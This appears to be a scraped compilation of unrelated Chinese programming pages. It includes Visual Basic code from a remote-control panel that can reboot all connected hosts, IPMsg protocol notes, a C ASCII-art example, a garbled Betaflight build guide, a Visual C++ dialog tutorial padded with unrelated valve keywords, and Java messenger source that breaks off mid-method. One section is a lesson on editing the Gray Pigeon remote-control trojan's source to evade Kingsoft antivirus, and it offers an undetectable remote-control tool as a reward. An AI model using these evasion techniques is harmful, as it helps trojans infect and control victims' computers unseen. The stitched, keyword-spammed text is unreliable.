ListView1.SelectedItem.Key, 64, "用户地址"End SubPrivate Sub Recoms_Click()On Error Resume NextIf Scmnet2.State = 7 ThenScmnet2.SendData "Closeho"ElseMsgBox "你还没有连接主机!", 16, "提示"End IfPrivate Sub Renetser_Click()On Error Resume Nextlcon = TrueFor i = 1 To UBound(Sac)If Not i = index ThenIf Sac(i) ThenScmnet1(i).CloseDoEventsEnd IfEnd IfNext iScmnet2.CloseShell_NotifyIcon NIM_DELETE, TUnload MeMain.ShowEnd SubPrivate Sub Reqcul_Click()On Error Resume NextIf Scmlb1 > "0" ThenIf MsgBox("你确定要重启所有上线用户的计算机吗!", vbYesNo, "提示") = vbYes ThenFor i = 1 To UBound(Sac)If Not i = index ThenIf Sac(i) ThenScmnet1(i).SendData "RESETCU"DoEventsEnd IfEnd IfEnd IfElseMsgBox "还没有主机上线!", 64, "提示"End IfEnd SubPrivate Sub Requt_Click()On Error Resume NextIf Conhosn <> "" ThenFor i = 1 To UBound(Sac)If Not i = index ThenIf Sac(i) ThenIf Scmnet1(i).RemoteHostIP = Conhosn ThenScmnet1(i).SendData "Reqhost"End IfDoEventsEnd IfEnd IfNext iEnd IfIf Scmnet2.State = 7 ThenScmnet2.SendData "Reqhost"End IfEnd Sub'''''''''''''''''''''''''''''''''''''''''''''''''''''''''上线人数显示多1Private Sub Scmnet1_ConnectionRequest(index As Integer, ByVal requestID As Long)Dim comand As StringOn Error Resume NextIf Scmlb1 < "2000000002" Then '上线最大人数List1.AddItem Scmnet1(index).RemoteHostIPScmtxt1.Text = Scmtxt1.Text & "(" & Scmnet1(index).RemoteHostIP & ")" & "上线!" & "(" & Time$ & ")" & vbCrLfScmnumber = Scmnumber + 1Load Scmnet1(Scmnumber)Scmnet1(Scmnumber).Accept requestIDReDim Preserve Sac(Scmnumber)Sac(Scmnumber) = TrueScmlb1 = Int(Scmlb1) + 1Scmsta1.Panels(5).Text = "上线台数:" & Scmlb1Scmsta1.Panels(5).ToolTipText = "上线台数:" & Scmlb1Scmsta1.Panels(4).Text = "提示:" & "有主机上线"PlaySound App.path & "\Sound\Upline.Wav", ByVal 0&, SND_FILENAME Or SND_ASYNCElseScmsta1.Panels(5).Text = "上线台数:" & "上限"Scmsta1.Panels(5).ToolTipText = "上线台数:" & Scmlb1End IfEnd Sub'''''''''''''''''''''''''''''''''''''''''''''''''''''''''下线人数显示少1Private Sub Scmnet1_Close(index As Integer)On Error Resume NextIf Scmlb1 > 0 Thenlcon = TrueList1.Text = Scmnet1(index).RemoteHostIPList1.RemoveItem List1.ListIndexIf Scmnet1(index).RemoteHostIP <> "127.0.0.1" ThenListView1.ListItems.Remove (Scmnet1(index).RemoteHostIP)ListView1.Sorted = TrueEnd IfScmtxt1.Text = Scmtxt1.Text & "(" & Scmnet1(index).RemoteHostIP & ")" & "已经下线!" & "(" & Time$ & ")" & vbCrLfIf Conhosn = Scmnet1(index).RemoteHostIP ThenScmsta1.Panels(3).Text = "主机名称:" & "没找到"Scmsta1.Panels(2).Text = "连接状态:" & "已断开连接"End IfScmnet1(index).CloseUnload Scmnet1(index)Sac(index) = FalseScmlb1 = Int(Scmlb1) - 1Scmsta1.Panels(5).Text = "上线台数:" & Scmlb1Scmsta1.Panels(5).ToolTipText = "上线台数:" & Scmlb1Scmsta1.Panels(4).Text = "提示:" & "有主机下线"lcon = FalseConhosn = ""PlaySound App.path & "\Sound\Downline.Wav", ByVal 0&, SND_FILENAME Or SND_ASYNCElse '>0List1.Text = Scmnet1(index).RemoteHostIPList1.RemoveItem List1.ListIndex''''''''''''''''''''''''''''''''''''''''''If Scmnet1(index).RemoteHostIP <> "127.0.0.1" Then。
飞鸽代码分析

飞鸽传书代码分析:一:main函数中创造线程处理数据和调用函数主要线程:processor 处理接收的UDP包Receiver 接受UDP包Interacter 用户输入(人机交换)Cleaner 调用destroyer()函数清理数据调用函数:返回一些本地信息相关数据结构的初始化与清理初始化UDP和TCP 信号量的初始化用户登录线程的属性线程等待退出主要功能:通过几个线程处理通信过程中的信息,通过accept()函数等待并接受连接请求,建立线程sendData发送文件或文件夹。
二:初始化UDP和TCPUDP for Msg,TCP for File.套接字,协议地址信息,广播,绑定IP与端口,监听。
三:登录与注销标志用户登录协议地址信息转换地址写入到数组发送信息1.发送信息(UDP包):生成信息,将要发送的信息(文件)写到BUF中,发送出去(sendto)2.生成信息:将文件的信息(序号、名字、大小…)放入到一个结构体中进行操作。
获得文件名的路径,对文件名(filename)、文件类型(filetype) (?) 、编码转换,等一些操作。
getFileName() addColon()流程图为:四:线程Receiver 接受UDP包接收(recvfrom)信息,解析接受到的字符串(msgParser),将协议地址放入结构体链表中。
信号与互斥锁处理。
五:线程Processor 处理接收的UDP包处理链表中的信息,读取到命令字,做出相关的信息回应。
发送文件时设置互斥锁:getFMutex(文件的);通报在线时处理链表(userlist),设置互斥锁(usrMutex);停止传输文件时处理链表(userlist),设置互斥锁(sandMutex);六:线程Interacter 用户输入(人机交换)字符串处理,去掉开头结尾空白字符。
资源互斥保护,在listUsers链表中列出。
通过用户输入,比较判断关键字,执行用户指令。
源码免杀第五讲:灰鸽子1.2源代码简单修改过金山2009杀毒软件

(2)思考:
这次上下代码找不到啊,该怎么办呢?我们来看汇编的,INAL,DX
是I/O指令,这处特征码和江民2009的NetSata比较靠近,重新加载服务端是
在其他设置,我们就到其他设置找了。
(2)对应源码中的修改
if StrTmpList[7]<>'' then
SetComputerName(Pchar(StrTmpList[7]));
动画教程只是起到技术交流作用.请大家不要利用此方法对国内的网络做破坏.
国人应该团结起来一致对外才是我们的责任.由此动画造成的任何后果和本站无关.
======================================================================
讲师:饮雪焚心<qzqwaz2006>
【教程题目】第五讲:灰鸽子1.2源代码简单修改过金山2009杀毒软件
【教程目的】用最简单和最快速的办法过掉杀毒软件
【教程口号】坚信任何杀软都有弱点,只要你有一个不断探索发现的心!
附:【教程加餐】探索发现:一招搞定金山2009 !(这次就留给会员作业,谁
找到一招搞定的,联系我,奖励一款免杀远控,希望有许多会员能够获得!)
到一招搞定的,联系我,奖励一款免杀远控,希望有许多会员能够获得!)
甲壳虫免杀VIP教程
删掉这一句。
修改好了!看看能不能过掉金山2009, PASS了!!
============================================================
方法很简单吧,主要是你能不能找到对应源码的,改多了就明白了!
好了,教程结束!
精心打造飞鸽协议教程

精心打造飞鸽协议教程,欢迎大家交流本文重点在于对飞鸽协议原理及部分网络知识进行普及性的介绍,尽量避免用专业的术语吓跑非计算机专业朋友,如果有介绍的不合理的地方,也欢迎高手出来拍砖。
飞鸽概述飞鹆传书作为免费的开源软件,在全世界各国享有声誉,其原作者是H.Shirouzu,其windows平台的C++源码下载地址为/IPMsg/ipmsg206src.zip。
除windows平台的实现以外,还存在大量其它平台的飞鸽实现,如Mac,Linux,甚至还存在平台无关的Java版本。
本人开发的飞鸽传书,实际上是在M8平台上实现了该协议子集。
从而能够实现局域网内用户发现,接收PC版飞鸽传入的消息、文件、文件夹。
本人实现的飞鸽,可参考如下两个帖子:1 /thread-791903-1-1.html2 /thread-814371-1-1.html飞鸽能够实现这种异构平台之间的通信,在于它的源码和协议是开放的,只要遵守相应的传输协议,就可以实现通信。
这里要强调一个概念,网络传输类应用程序,协议是重中之重。
那么,协议到底是什么呢?协议可以让运行于两个不同平台的程序之间做到“心有灵犀一点通”,也有点像黑帮内部的切口:A说了天王盖地虎,B就要说宝塔镇荷妖。
有点扯远了,计算机网络应用中的协议,是要解决一些很实际的问题,比如,以飞鸽为例,计算机A向计算机B可以发消息,也可以传文件。
都是通过网络传递数据,B如何能知道,这些数据中什么是消息,什么是文件呢?这就需要设计通信协议,通过一些命令字描述当前或即将传送的数据是什么内容。
从而使得接收方,能够正确理解发送方发出的内容。
网络基础,TCP/IP协议简介TCP/IP是很复杂的,要介绍这个已经远远超出我的能力范围,但我仍然可以对它的上层使用做简单的介绍。
前面我们花了大量的篇幅加口水强调协议在网络应用中的重要性。
那所谓的飞鸽协议,与我们平时常常听到的TCP/IP有什么区别和联系呢?这个问题问的好(我自己问的)!计算机网络的设计有着非常多的成功的可取之处,其中之一就是分层。
c语言小飞机源代码 -回复

c语言小飞机源代码-回复C语言小飞机源代码在计算机科学领域中,编程语言是一种用于编写计算机程序的形式化语言。
C语言是一种通用编程语言,广泛用于系统编程和应用程序开发。
本文将详细介绍一个小飞机的C语言源代码,并逐步解释代码的每一部分。
首先,让我们从一个基本的C代码框架开始:#include <stdio.h>int main() {在此处编写代码return 0;}上面的代码是一个C语言程序的基本结构。
`#include <stdio.h>`语句引入了标准输入输出库,这使我们能够使用`printf()`函数和`scanf()`函数等来进行输入输出操作。
`int main()`是程序的入口点,它表示程序从这里开始执行。
要实现一个小飞机的源代码,我们可以使用ASCII字符来绘制它的形状。
以下是一个绘制小飞机的C代码:#include <stdio.h>int main() {printf(" __ooooooooo__\n");printf(" oOOOOOOOOOOOOOOOOOOOOo\n");printf(" oOOOOOOOOOOOOOOOOOOOOOOOOOOOo\n");printf(" oOO oOOOOOOOOOOOOOOOOOOOOOOOo\n");printf("oOOOOOo oOOO oOOO OOOOoOOOOOo\n");printf("OOOOOOO oOOO OOOOo OOOOOO\n");printf("OOOOOo oOOOOOo oOOOOOo oOOOOOOOOO\n");printf("oOOOo oOOOOOOOoOOOOOOOoOOOOOOO oOOo\n");printf("oOOO oOOOOOOOOOOOOOOOOOOOOOOOOO OOOo\n");printf(" OOOo OOOOO oOOOOOOOO oOOOOOO\n");printf(" OOOOoOOOOOOo oOOOOOOOOOo\n");printf(" oOOOOOOO oOOOOOOOOOOOOOOOOOOOO oOOo\n");printf(" oOOOOOo oOOOOo oOOOOOo\n");printf(" oOOOOO oOOO OOOOOO\n");printf(" oOOO OOOo\n");printf(" oO Oo\n");return 0;}在这个示例中,我们使用`printf()`函数来输出一个ASCII艺术图形,它形象地表示了一个小飞机的外形。
bateflight编译 -回复

bateflight编译-回复Bateflight编译,一种开源的飞行控制固件,被广泛应用于无人机行业中。
它具有灵活、稳定且强大的功能,可以满足不同需求的飞行控制要求。
[本文将一步一步回答关于Bateflight编译的一些关键问题,帮助读者了解这一技术并能够开始实践。
]第一步:了解Bateflight编译的基础知识在开始编译之前,我们需要了解一些基础知识。
首先,要知道Bateflight 编译是基于开源项目的,这意味着它的源代码是公开的,任何人都可以获取和修改。
其次,Bateflight编译需要使用适当的编译工具和环境,以确保编译过程的顺利进行。
最后,您需要了解与您所使用的硬件相关的配置和设置,以便正确地编译Bateflight固件。
第二步:准备编译环境在编译Bateflight之前,您需要安装一些必要的工具和软件。
首先,您需要安装Git,这是一个版本控制系统,用于下载和更新Bateflight的源代码。
您还需要安装GNU工具链,用于编译和构建Bateflight固件。
根据您所使用的操作系统,可能需要一些额外的软件包或工具,以便正确地设置编译环境。
第三步:获取Bateflight源代码在开始编译之前,您需要获得Bateflight的源代码。
最简单的方法是使用Git从Bateflight的官方代码仓库中克隆源代码。
打开终端或命令提示符,并导航到您希望存储源代码的目录。
然后执行以下命令来克隆源代码:git clone这将下载最新的Bateflight源代码并将其保存在您选择的目录中。
第四步:配置编译环境在您获得Bateflight的源代码之后,您需要进行一些配置,以便正确地编译固件。
首先,导航到Bateflight源代码的根目录。
然后执行以下命令来更新Git子模块:git submodule update init recursive这将确保您已获得所需的所有依赖项和子模块。
接下来,根据您所使用的硬件和目标平台,编辑`target.h`文件,以配置您的编译选项和设置。
飞鸽源代码及编译全过程

飞鸽源代码Visual C++以其可视化的编程风格成为目前Windows程序设计与开发的主流开发工具。
而对话框在Visual C++编程中使用的尤其多。
诸如模式对话框、无模式对话框、基于对话框的应用程序等。
绝大部分的VC++的书籍中都花费大量的篇幅与笔墨来讲解对话框,这充分证明了对话框在Windows应用程序中的作用。
很多人可能都用过Bitware软件,不知大家还记不记得其界面对话框就可以伸展自如。
按下一个按钮,对话框就向水平方向或垂直方向扩展。
再按一下按钮,对话框又回复到原来的大小。
其实这并不是一个很复杂的问题,下面我们就来讲解如何电动调节阀制作伸展自如的对话框。
1 打开VisualC++工作台,新建工程设为aaa。
2 创建基于对话框的应用程序如下所示:其余选择皆为缺省即可。
3 在对话框资源中增加控件资源,如下图所示:其中,最靠右边的一排控件和最靠近下面的两排控件将在对话框伸展或收缩时显示出来或被遮盖。
并且为了示例方便,我们有意调节阀将他们的值对应起来。
并且我们气动调节阀需要通过ClassWizard给每个控件分别关联成员变量,如下所示:参考DoDataExchange()函数我们就可以知道每个控件所关联的变量了,如下所示:DDX_Text(pDX, IDC_HEIGHT, m_wHeight);DDX_Text(pDX, IDC_STREAM_ID, m_wStreamID);DDX_Text(pDX, IDC_WIDTH, m_wWidth);DDX_Text(pDX, IDC_SEQUENCE_ORDER, m_wSequenceOrder);DDX_Text(pDX, IDC_MAX_RA TE, m_dwMaxRate);DDX_Text(pDX, IDC_MIN_RATE, m_dwMinRate);DDX_Text(pDX, IDC_HEIGHT2, m_wHeight2);DDX_Text(pDX, IDC_MAX_RA TE2, m_dwMaxRate2);DDX_Text(pDX, IDC_MIN_RATE2, m_dwMinRate2);DDX_Text(pDX, IDC_SEQUENCE_ORDER2, m_wSequenceOrder2);DDX_Text(pDX, IDC_STREAM_ID2, m_wStreamID2);DDX_Text(pDX, IDC_WIDTH2, m_wWidth2);DDX_Check(pDX, IDC_HORIZONTAL, m_bHorizontal);DDX_Check(pDX, IDC_VERTICAL, m_bVertical);实际上,我们也可以不用ClassWizard而直接将上面的一段代码copy到DoDataExchange()函数的//{{AFX_DATA_MAP(CAaaDlg)......//}}AFX_DATA_MAP之间,(注意一定要在“//{{AFX_DATA_MAP(CAaaDlg)”与“//}}AFX_DATA_MAP”之间)。
飞鸽传书(java版)源代码

飞鸽传书(java版)源代码.txt-//自私,让我们只看见自己却容不下别人。
如果发短信给你喜欢的人,他不回,不要再发。
看着你的相片,我就特冲动的想P成黑白挂墙上!有时,不是世界太虚伪,只是,我们太天真。
// About.javapackage networker.about;import java.awt.event.*;import java.awt.*;import javax.swing.*;import javax.swing.border.*;public class About extends JDialog {ClassLoader load=getClass().getClassLoader();ImageIcon icons=new ImageIcon(load.getResource("networker/Resource/Msg/msg1.png"));String msg=" 课题名称:基于java环境的网络编程\n 作者:姜力\n 指导老师:颜南明\n 创建时间:2008年4月";JTextArea area = new JTextArea(msg);JLabel icon = new JLabel();int width=310;int height=185;public About(JFrame jf) {super(jf,"关于",true);Dimension screen=Toolkit.getDefaultToolkit().getScreenSize();int w=screen.width;int h=screen.height;setBounds( (w-width)/2, (h-height)/2,width,height);setResizable(false);Container content=getContentPane();content.setLayout(null);icon.setAlignmentX(Component.CENTER_ALIGNMENT);icon.setIcon(icons);area.setOpaque(false);area.setBorder(new TitledBorder(new EtchedBorder(), "关于此软件", TitledBorder.DEFAULT_JUSTIFICATION, TitledBorder.DEFAULT_POSITION, null, null));area.setEditable(false);icon.setBounds(10, 20, 65, 60);area.setBounds(70, 20, 220, 110);content.add(icon);content.add(area);addWindowListener(new WindowAdapter() {public void windowClosing(WindowEvent e) {dispose();}});setVisible(true);}}// Help.javapackage networker.about;import java.awt.event.*;import javax.swing.*;import java.awt.*;import javax.swing.tree.*;import javax.swing.event.*;import networker.system.*;public class Help extends JDialog implements TreeSelectionListener{ DefaultMutableTreeNode root = new DefaultMutableTreeNode("帮助");JTree tree = new JTree(root);DefaultTreeModel model = (DefaultTreeModel)tree.getModel();JTextArea text = new JTextArea();JScrollPane scroll = new JScrollPane(text);JSplitPane splitPane = new JSplitPane(JSplitPane.HORIZONTAL_SPLIT,true,tree,scroll);int width=500;int height=380;public Help(JFrame jf) {super(jf,"帮助",true);Dimension screen=Toolkit.getDefaultToolkit().getScreenSize();int w=screen.width;int h=screen.height;setBounds( (w-width)/2, (h-height)/2,width,height);Container content=getContentPane();content.setLayout(new BorderLayout());content.add(splitPane, BorderLayout.CENTER);text.setLineWrap(false);text.setEditable(false);splitPane.setResizeWeight(0.55);splitPane.setDividerSize(10);initTree();addWindowListener(new WindowAdapter() {public void windowClosing(WindowEvent e) {dispose();}});setVisible(true);}public void initTree(){tree.addTreeSelectionListener(this);//rootDefaultMutableTreeNode[] NO_0 = {new DefaultMutableTreeNode("软件说明"), new DefaultMutableTreeNode("主要功能"), new DefaultMutableTreeNode("操作方法"), new DefaultMutableTreeNode("修改信息"), new DefaultMutableTreeNode("好友管理"), new DefaultMutableTreeNode("更换皮肤")};for(int i=0;i<NO_0.length;i++)root.add(NO_0[i]);tree.expandPath(new TreePath(root));readText("帮助");}public void valueChanged(TreeSelectionEvent e) {TreePath paths = e.getNewLeadSelectionPath();String node=paths.getLastPathComponent().toString();readText(node);}public void readText(String title){text.setText(SystemInfo.getHelpDoc(title));if(title.equals("帮助")){text.setFont(new Font("Dialog",Font.PLAIN,16));text.setForeground(new Color(100,100,255));}else{text.setFont(new Font("Dialog",Font.PLAIN,14));text.setForeground(new Color(50,200,60));}}}// JavaPage.javapackage networker.about;import javax.swing.*;import javax.swing.JLabel;import java.awt.event.*;import java.awt.*;import ponents.*;public class JavaPage extends JDialog {ClassLoader load=getClass().getClassLoader();ImageIcon icon=new ImageIcon(load.getResource("networker/Resource/Msg/javainstall.png"));JLabel iconlabel=new JLabel();String Sun="",Eclipse="",JTattoo="",JDom="";JLabel sun = new JLabel("Sun公司官方网站:");LinkLabel sunlabel = new LinkLabel(Sun,Sun);JLabel eclipse = new JLabel("eclipse官方网站:");LinkLabel eclipselabel = new LinkLabel(Eclipse,Eclipse);JLabel jtattoo = new JLabel("JTattoo官方网站:");LinkLabel jtattoolabel = new LinkLabel(JTattoo,JTattoo);JLabel jdom = new JLabel("JDom官方网站:");LinkLabel jdomlabel = new LinkLabel(JDom,JDom);int width=435;int height=250;public JavaPage(JFrame jf,String title) {super(jf,title,true);setResizable(false);Container content=getContentPane();content.setLayout(null);Dimension screen=Toolkit.getDefaultToolkit().getScreenSize();int w=screen.width;int h=screen.height;setBounds( (w-width)/2, (h-height)/2,width,height);iconlabel.setIcon(icon);sun.setBounds(135, 36, 117, 18);sunlabel.setBounds(264, 34, 123, 18);eclipse.setBounds(135, 73, 117, 18);eclipselabel.setBounds(264, 71, 167, 18);jtattoo.setBounds(135, 108, 117, 18);jtattoolabel.setBounds(264, 106, 143, 18);jdom.setBounds(135, 143, 117, 18);jdomlabel.setBounds(264, 141, 144, 18);iconlabel.setBounds(0,-15, 150, height);content.add(jdomlabel);content.add(sun);content.add(jdom);content.add(jtattoolabel);content.add(jtattoo);content.add(eclipselabel);content.add(eclipse);content.add(sunlabel);content.add(iconlabel);addWindowListener(new WindowAdapter() {public void windowClosing(WindowEvent e) {dispose();}});setVisible(true);}}// TreeCell.javapackage networker.directorychooser;import javax.swing.*;import javax.swing.filechooser.FileSystemView;import java.io.*;public class TreeCell {public FileSystemView fsv=FileSystemView.getFileSystemView(); public File f;public TreeCell(File f){this.f=f;}public String getName(){return fsv.getSystemDisplayName(f);}public ImageIcon getIcon(){return (ImageIcon)fsv.getSystemIcon(f);}public String getFilePath(){if(fsv.isFileSystem(f))return f.getAbsolutePath();elsereturn null;}public File getFile(){return f;}}// DCTreeCellRenderer.javapackage networker.directorychooser;import javax.swing.*;import javax.swing.tree.*;import java.awt.*;class DCTreeCellRenderer extends JPanel implements TreeCellRenderer{ protected Color m_textSelectionColor;protected Color m_textNonSelectionColor;protected Color m_bkSelectionColor;protected Color m_bkNonSelectionColor;protected Color m_borderSelectionColor;protected boolean m_selected;JLabel text=new JLabel();JLabel icon=new JLabel();public DCTreeCellRenderer(){super();m_textSelectionColor = UIManager.getColor("Tree.selectionForeground");m_textNonSelectionColor = UIManager.getColor("Tree.textForeground");m_bkSelectionColor = UIManager.getColor("Tree.selectionBackground");m_bkNonSelectionColor = UIManager.getColor( "Tree.textBackground");m_borderSelectionColor = UIManager.getColor( "Tree.selectionBorderColor");setLayout(new FlowLayout());add(icon);add(text);setOpaque(false);text.setOpaque(true);icon.setOpaque(false);}public Component getTreeCellRendererComponent(JTree tree, Object value, boolean sel, boolean expanded,boolean leaf, int row, boolean hasFocus){DefaultMutableTreeNode node = (DefaultMutableTreeNode)value;TreeCell v= (TreeCell)node.getUserObject();text.setText(v.getName());icon.setIcon(v.getIcon());if(sel){text.setForeground(m_textSelectionColor);text.setBackground(m_bkSelectionColor);}else{text.setForeground( m_textNonSelectionColor);text.setBackground(m_bkNonSelectionColor);}text.setFont(tree.getFont());return this;}}// DirectoryChooser.javapackage networker.directorychooser;import javax.swing.*;import javax.swing.tree.*;import java.awt.*;import java.awt.event.*;import javax.swing.event.*;import javax.swing.filechooser.*;import java.io.*;public class DirectoryChooser extends JDialog implements ActionListener,TreeWillExpandListener,TreeExpansionListener,TreeSelectionListener{ static FileSystemView fsv=FileSystemView.getFileSystemView();static File desk_File=fsv.getHomeDirectory();static String desk_Path=desk_File.getAbsolutePath();String desk_Name=fsv.getSystemDisplayName(desk_File);ImageIcon desk_Icon=(ImageIcon)fsv.getSystemIcon(desk_File);//布局组件JPanel panel_1 = new JPanel(new GridLayout(3,1));JPanel panel = new JPanel(new GridLayout(2,1));JLabel label_2 = new JLabel();JLabel label_1 = new JLabel("请选择要保存到的目录:");JPanel panel_5 = new JPanel();JPanel panel_4 = new JPanel(new FlowLayout(FlowLayout.CENTER));JPanel panel_2 = new JPanel();JPanel panel_3 = new JPanel();JLabel label = new JLabel("文件夹:");//应用组件JButton OkButton = new JButton("确定");JButton CancelButton = new JButton("取消");JTextField DirName = new JTextField();DefaultMutableTreeNode root=new DefaultMutableTreeNode(new TreeCell(desk_File));DefaultTreeModel model=new DefaultTreeModel(root);JTree tree = new JTree(model);JScrollPane scroll = new JScrollPane(tree);//对话框大小int Width=300;int Height=330;Dimension screen=Toolkit.getDefaultToolkit().getScreenSize();int w=screen.width;int h=screen.height;//常用变量public static boolean CHOOSE_FLAG=false;public static String DIRECTORY_PATH=desk_Path;public DirectoryChooser(JFrame jf,String title){super(jf,title,true);Point p=jf.getLocation();int x=(int)p.getX();int y=(int)p.getY();initUI(x,y);addListener();}public DirectoryChooser(JDialog jd,String title){ super(jd,title,true);Point p=jd.getLocation();int x=(int)p.getX();int y=(int)p.getY();if(x<0)x=0;if(y<0)y=0;if(x+Width>w)x=w-Width;if(y+Height>h)y=h-Height;initUI(x,y);addListener();}private void initUI(int x,int y){Container content=getContentPane();content.setLayout(new BorderLayout());setBounds(x,y,Width,Height);setMinimumSize(new Dimension(Width,Height));content.add(panel_1, BorderLayout.NORTH);content.add(panel_2, BorderLayout.WEST);content.add(panel_3, BorderLayout.EAST);content.add(scroll, BorderLayout.CENTER);content.add(panel, BorderLayout.SOUTH);panel_1.add(label_2);panel_1.add(label_1);panel.add(panel_5);panel.add(panel_4);JLabel l=new JLabel();panel_4.add(OkButton);panel_4.add(l);panel_4.add(CancelButton);OkButton.setPreferredSize(new Dimension(90,30));CancelButton.setPreferredSize(new Dimension(90,30));l.setPreferredSize(new Dimension(30,30));panel_5.add(label);panel_5.add(DirName);label_1.setHorizontalAlignment(SwingConstants.CENTER);label_1.setFont(new Font("", Font.PLAIN, 14));label.setFont(new Font("", Font.PLAIN, 14));DirName.setPreferredSize(new Dimension(200, 25));TreeCellRenderer dc=new DCTreeCellRenderer();tree.setCellRenderer(dc);tree.getSelectionModel().setSelectionMode(TreeSelectionModel.SINGLE_TREE_SELECTI ON);initDesk();}private void addListener(){addWindowListener(new WindowAdapter(){public void windowClosing(WindowEvent e){dispose();}});OkButton.addActionListener(this);CancelButton.addActionListener(this);tree.setShowsRootHandles(true);tree.setEditable(false);tree.addTreeExpansionListener(this);tree.addTreeSelectionListener(this);}//按钮事件public void actionPerformed(ActionEvent e){JComponent c=(JComponent)e.getSource();if(c==OkButton){CHOOSE_FLAG=true;dispose();}if(c==CancelButton){CHOOSE_FLAG=false;dispose();}}//显示对话框public boolean ShowDialog(){setVisible(true);return CHOOSE_FLAG;}public void treeWillCollapse(TreeExpansionEvent ce){}public void treeWillExpand(TreeExpansionEvent ee){}public void treeCollapsed(TreeExpansionEvent ce){}public void treeExpanded(TreeExpansionEvent ee){TreePath tp=ee.getPath();DefaultMutableTreeNode node =(DefaultMutableTreeNode)tp.getLastPathComponent();int count=node.getChildCount();for(int i=0;i<count;i++){DefaultMutableTreeNodechild=(DefaultMutableTreeNode)node.getChildAt(i);addChild(child);}}public void valueChanged(TreeSelectionEvent tse){try{TreePath tp=tse.getNewLeadSelectionPath();DefaultMutableTreeNode node = (DefaultMutableTreeNode)tp.getLastPathComponent();TreeCell v= (TreeCell)node.getUserObject();String name=v.getName();DirName.setText(name);DIRECTORY_PATH=v.getFilePath();}catch(Exception e){}}//初始化桌面public void initDesk(){File[] fs=fsv.getFiles(desk_File,false);for(int i=0;i<fs.length;i++){if(fs[i].isDirectory()){TreeCell tc=new TreeCell(fs[i]);DefaultMutableTreeNode node=new DefaultMutableTreeNode(tc);root.add(node);addChild(node);}}//for endTreePath treepath=new TreePath(root);tree.expandPath(treepath);}public void addChild(DefaultMutableTreeNode node){try{if(node.isLeaf()){TreeCell v= (TreeCell)node.getUserObject();File f=v.getFile();File[] fs=fsv.getFiles(f,false);for(int i=0;i<fs.length;i++){if(fs[i].isDirectory()){TreeCell tc=new TreeCell(fs[i]);DefaultMutableTreeNode d=new DefaultMutableTreeNode(tc);node.add(d);}}//for end}}catch(Exception e){}}private String getFilePath(File f){if(fsv.isFileSystem(f))return f.getAbsolutePath();elsereturn null;}}// MButton.javapackage ponents;import javax.swing.*;import java.awt.*;import java.awt.event.*;public class MButton extends JButton implements MouseListener,MouseMotionListener{ ImageIcon img,img1;public MButton(ImageIcon img,ImageIcon img1,String text){this.img=img;this.img1=img1;setActionCommand(text);setIcon(img);setMargin(new Insets(0,0,0,0));setBorderPainted(false);setFocusPainted(false);setToolTipText(text);setContentAreaFilled(false);addMouseListener(this);addMouseMotionListener(this);}public void mousePressed(MouseEvent me) {setIcon(img);}public void mouseReleased(MouseEvent me){setIcon(img1);}public void mouseEntered(MouseEvent me) {setIcon(img1);}public void mouseExited(MouseEvent me) {setIcon(img);}public void mouseClicked(MouseEvent me){}public void mouseDragged(MouseEvent me){}public void mouseMoved(MouseEvent me) {}}// JumpFrame.javapackage ponents;import javax.swing.*;import java.awt.*;public class JumpFrame extends Thread{public JFrame jf;public int delay=0;public int count=0;public int len=0;public JumpFrame(JFrame jf,int delay,int count,int len){ this.jf=jf;this.delay=delay;this.count=count;this.len=len;start();}public void run(){Point p=jf.getLocation();int x=(int)(p.getX());int y=(int)(p.getY());for(int j=0;j<count;j++){jf.setLocation(x+len,y+len);try{Thread.sleep(delay);}catch(Exception e){}jf.setLocation(x-len,y+len);try{Thread.sleep(delay);}catch(Exception e){}jf.setLocation(x-len,y-len);try{Thread.sleep(delay);}catch(Exception e){}jf.setLocation(x+len,y-len);try{Thread.sleep(delay);}catch(Exception e){}}jf.setLocation(p);}}// RoundBorder.javapackage ponents;import java.awt.*;import java.awt.geom.RoundRectangle2D;import javax.swing.*;import javax.swing.border.AbstractBorder;public class RoundBorder extends AbstractBorder{UIDefaults uid = UIManager.getLookAndFeel().getDefaults();Color back= uid.getColor ("List.selectionBackground");int rw,rh;public RoundBorder(int rw,int rh){this.rw=rw;this.rh=rh;}public void paintBorder(Component c, Graphics g, int x, int y, int width, int height){Graphics2D g2=(Graphics2D)g;RenderingHints hints=new RenderingHints(RenderingHints.KEY_ANTIALIASING,RenderingHints.VALUE_ANTIALIAS_ON );hints.put(RenderingHints.KEY_RENDERING,RenderingHints.VALUE_RENDER_QUALITY);g2.setRenderingHints(hints);g2.setColor(back);BasicStroke bs=new BasicStroke(3.0f);g2.setStroke(bs);g2.draw(new RoundRectangle2D.Float(x, y,width-1,height-1,rw,rh));}public Insets getBorderInsets(Component c){return new Insets(5,5,5,5);}public boolean isBorderOpaque(){return true;}}// UserItem.javapackage ponents;public class UserItem{String ComName;String IPName;String ImgPath;public UserItem (String ComName,String IPName,String ImgPath) {Name=ComName;this.IPName=IPName;this.ImgPath=ImgPath;}//setpublic void setComName(String ComName){Name=ComName;}public void setIPName(String IPName){this.IPName=IPName;}public void setImgPath(String ImgPath){this.ImgPath=ImgPath;}//getpublic String getComName(){return ComName;}public String getIPName(){return IPName;}public String getImgPath(){return ImgPath;}public static void main(String[] a){System.exit(0);}}// UserList.javapackage ponents;import java.awt.*;import ponent;import javax.swing.ListCellRenderer;import javax.swing.UIDefaults;import javax.swing.*;import networker.system.*;import networker.*;public class UserList extends JList{public UserList(){super();setCellRenderer(new MyRenderer());setModel(new DefaultListModel());setSelectionMode(DefaultListSelectionModel.SINGLE_SELECTION); addMe();}public void addMe(){String MyComName=SystemInfo.getMyName();String IP=SystemInfo.getIPAddress();String img=SystemInfo.getImagePath();UserItem item=new UserItem(MyComName,IP,img);if(existsIP(IP))removeUserFromIP(IP);addUser(item);}public void addUser(UserItem item){DefaultListModel mod = (DefaultListModel) getModel();mod.addElement(item);}public void removeUser(UserItem item){DefaultListModel mod = (DefaultListModel) getModel();mod.removeElement(item);}public void removeUser(String username){int size=getModel().getSize();for(int i=0;i<size;i++){UserItem item=(UserItem)getModel().getElementAt(i);if(item.getComName().equals(username))removeUser(item);}}public void removeUserFromIP(String userIP){int size=getModel().getSize();for(int i=0;i<size;i++){UserItem item=(UserItem)getModel().getElementAt(i);if(item.getIPName().equals(userIP))removeUser(item);}}public UserItem[] getSelectedUser(){return (UserItem[])getSelectedValues();}public String getSelectedUserName(){try{return ((UserItem)getSelectedValue()).getIPName();}catch(Exception e){MainFrame.showStatus("请选择一个用户为发送对象!",Color.RED);return null;}}public String[] getAllUsers(){String[] res=new String[500];int cnt=0;int size=getModel().getSize();for(int i=0;i<size;i++){UserItem item=(UserItem)getModel().getElementAt(i);res[cnt++]=item.getComName();}return res;}public String[] 